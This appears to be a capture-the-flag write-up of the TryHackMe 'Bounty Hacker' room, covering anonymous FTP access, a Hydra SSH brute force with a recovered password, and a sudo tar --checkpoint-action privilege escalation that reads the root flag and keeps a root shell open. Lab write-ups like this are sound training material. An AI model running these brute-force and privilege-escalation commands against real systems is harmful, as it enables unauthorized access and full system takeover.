The web server was a dead end. The real story was sitting on port 21, waiting for anyone who didn’t need a password to find it.

You’ve been challenged to prove you’re the most elite hacker in the solar system.

The box doesn’t make it hard. It makes it honest. No CVEs, no rabbit holes, no bruteforce-for-hours nonsense. Just three ports, two text files, and a tar binary that GTFOBins knows very well.

The machine handed me everything. I just had to know where to look, and what to do when the first shell died immediately.

Let’s get into it.

Reconnaissance

nmap -sC -sV -oN bountyhacker.nmap 10.0.0.5

21/tcp  open  ftp     vsftpd 3.0.5
22/tcp  open  ssh     OpenSSH 8.2p1
80/tcp  open  http    Apache 2.4.41

Three ports. My first instinct was port 80, there’s usually something there. Visited the page, checked source, ran a quick directory scan.

Nothing. A static page with Cowboy Bebop flavor text and zero attack surface.

The web server was bait. Port 21 is where the box actually starts.

FTP — Anonymous and Generous

ftp 10.0.0.5
# Name: anonymous
# Password: [blank]

No credentials needed. Anonymous login accepted immediately.

ls

locks.txt
task.txt

Two files. Downloaded both:

get locks.txt
get task.txt

task.txt opened first, a note signed by lin. Not a hint. A username, handed directly.

locks.txt opened second, a long list of strings that looked like lock combinations. Passwords. A ready-made wordlist sitting on an open FTP server, written by the same person whose name was just signed on the note above it.

The FTP server just gave me a username and a password list in the same breath.

Time to use them.

SSH Bruteforce — Hydra Does the Work

Port 22 is open. Username is lin. Password is somewhere inside locks.txt. The math is simple:

hydra -l lin -P locks.txt ssh://10.0.0.5 -t 4

Hydra chews through the list. One password matches:

[22][ssh] host: 10.0.0.5   login: lin   password: RedDr4gonSynd1cat3

ssh [email protected]
# RedDr4gonSynd1cat3

Shell as lin. user.txt is right there in the home directory.

One flag down. The FTP server gave me everything I needed to get here. I just had to pick it up.

Privilege Escalation — tar, GTFOBins, and a Shell That Didn’t Want to Stay

sudo -l

User lin may run the following commands:
    (root) NOPASSWD: /usr/bin/tar

tar with sudo and no password. GTFOBins has this documented under shell escape, the checkpoint-exec technique abuses tar's --checkpoint-action flag to execute arbitrary commands mid-archive operation.

First attempt, straight from GTFOBins:

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Shell spawned. Then died immediately.

The /bin/sh process didn't survive in this environment. Not uncommon, some shells drop instantly depending on how the session is configured. The fix: tell it explicitly to stay alive and do something useful first.

sudo tar -cf /dev/null /root/root.txt --checkpoint=1 --checkpoint-action=exec="bash -c 'cat /root/root.txt; exec /bin/bash'"

This time: flag printed, bash stayed open, root shell confirmed.

whoami
root

The box didn’t expect anyone to refine the command. It expected copy-paste. I refined it.

Bounty Hacker is a room on TryHackMe. This writeup is for educational purposes only. All testing performed on dedicated lab infrastructure with explicit authorization.